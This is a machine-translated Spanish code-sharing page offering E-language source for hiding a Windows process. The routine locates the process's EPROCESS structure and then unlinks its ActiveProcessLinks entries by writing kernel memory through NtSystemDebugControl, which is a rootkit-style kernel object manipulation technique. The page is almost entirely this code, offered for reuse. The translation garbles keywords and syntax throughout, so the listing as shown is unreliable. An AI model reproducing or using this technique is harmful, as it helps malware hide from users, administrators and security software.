Red de conocimiento informático - Aprendizaje de código fuente - Llame fácilmente a la API del lenguaje para ocultar procesos

Llame fácilmente a la API del lenguaje para ocultar procesos

Versión 2

Las subrutinas ocultan procesos, lógica y público

. El parámetro pid, entero, vacío, vacío significa ocultar este proceso, puede ingresar el PID de otros procesos

. Eproceso de variable local, largo

. Mano de variable local, número entero

. Temperatura de variable local, matriz de bytes

. Variable local fw_, larga

. Variable local bw_, larga

. Variable local fw, matriz de bytes

. Variable local bw, conjunto de bytes

. if (pid está vacío)

hand = OpenProcess (2075311, 0, GetCurrentProcessId ())

eprocess = buscar proceso EProcess (GetCurrentProcessId ())

CloseHandle (mano)

. De lo contrario

eprocess = buscar proceso EProcess (pid)

.Si final

. Si es verdadero (eprocess = 0)

devuelve (falso)

. Si es verdadero, finaliza

temp = leer la memoria física (eprocess + 136, 4)

. Si es verdadero (temp = { })

devuelve (falso)

. Finalizar si es verdadero

fw_ = recuperar datos del conjunto de bytes (temp, # entero largo,)

fw = temp

temp = leer memoria física (eprocess + 140, 4)

.Si es verdadero (temp = { })

devuelve (falso)

. Si es verdadero, final

bw_ = recuperar datos del conjunto de bytes (temp, # entero largo,)

bw = temp

Si es verdadero (escribe la memoria física (fw_ +). 4, bw) =-1)

Devuelve (falso)

. Si es verdadero, finalice

. Si es verdadero (escribe memoria física (bw_, fw) =-1)

devuelve (falso)

. Si es verdadero, finalice

Regresar (verdadero)

//Leer la memoria física

. Versión 2

Subrutina Lectura de memoria física, matriz de bytes

. Dirección del parámetro, entero largo

. Longitud del parámetro, número entero, <=4096

. Variable local MEMORY_CHUNKS, matriz de bytes

. Variable local ret, matriz de bytes

.

Variable local retlen, entero

ret = fetch_blank_byteset (longitud)

MEMORY_CHUNKS = fetch_byteset_left (to_byteset_(dirección), 4) + to_byteset (fetch_pointer_to_byteset_(ret, ret, 0)) + to_byteset_ (longitud)

NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12 es la longitud de MEMORY_CHUNKS

. Si es verdadero (retlen ≤ 0)

ret = { }

. Si es verdadero, finaliza

regresa (ret)

// Escribe en la memoria física

. Versión 2

. Subrutina Escribe memoria física, número entero

Dirección de parámetro, número entero largo

. Datos de parámetros, conjunto de bytes, <=4096

Variables locales MEMORY_CHUNKS, conjunto de bytes

. Variable local ret, número entero

. Variable local retlen, número entero

. Variable local len, entero

len = fetch_length_of_byteset (datos)

MEMORY_CHUNKS = fetch_left_of_byteset (to_byteset_(dirección), 4) + to_byteset (fetch_pointer_to_byteset_(datos, datos, 0)) + to_byteset (len)

. NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12 es la longitud de MEMORY_CHUNKS

. Si es verdadero (retlen ≤ 0)

ret = -1

.Si es verdadero final

devuelve (ret)

// Ocupa el proceso EProcess

Versión 2

. La subrutina toma el proceso EProcess, un número entero largo

. Parámetro pid, número entero

. Ret de variable local

. Bloque de información de variable local, grupo de bytes

. Variable local retlen

Variable local temp, SYSTEM_HANDLE_INFORMATION

. Desplazamiento del puntero del bloque de información de variable local

. Número de variable local

Resultado de variable local, tipo entero largo

retlen = 1

. Bucle para determinar la primera vez ()

Bloque de información = buscar conjunto de bytes en blanco (retlen)

ret = ZwQuerySystemInformation (#system_handle_infomation, bloque de información, retlen, 0)

.

if (ret = #STATUS_INFO_LENGTH_MISMATCH)

retlen = retlen × 2

InfoBlock = Recuperar conjunto de bytes en blanco (retlen)

De lo contrario

. Salir del bucle ()

.if end

. Fin de bucle (ret = #STATUS_INFO_LENGTH_MISMATCH)

Desplazamiento del puntero del bloque de información = Fetch_Pointer_ByteSet (bloque de información, bloque de información, 0)

RtlMoveMemory3 (número, desplazamiento del puntero_infoblock, 4)

Bloque de información desplazamiento del puntero = desplazamiento del puntero del bloque de información + 4

Calcula el primer bucle (número,)

RtlMoveMemory2 (temp, desplazamiento del puntero del bloque de información, 16)

p>. si es verdadero (pid = temp.ProcessId y temp.ObjectTypeNumber = 5)

Retorno (hex a largo (tome texto hexadecimal (temp.Object))

.Finalizar si es verdadero

Desplazamiento del puntero del bloque de información = Desplazamiento del puntero del bloque de información + 16

.Cuenta al final del bucle ()

Devuelve (0)

Esto es el código, usando el controlador de escritura para ocultar el proceso, esto se copia porque el código es muy largo, así que no lo escribí yo mismo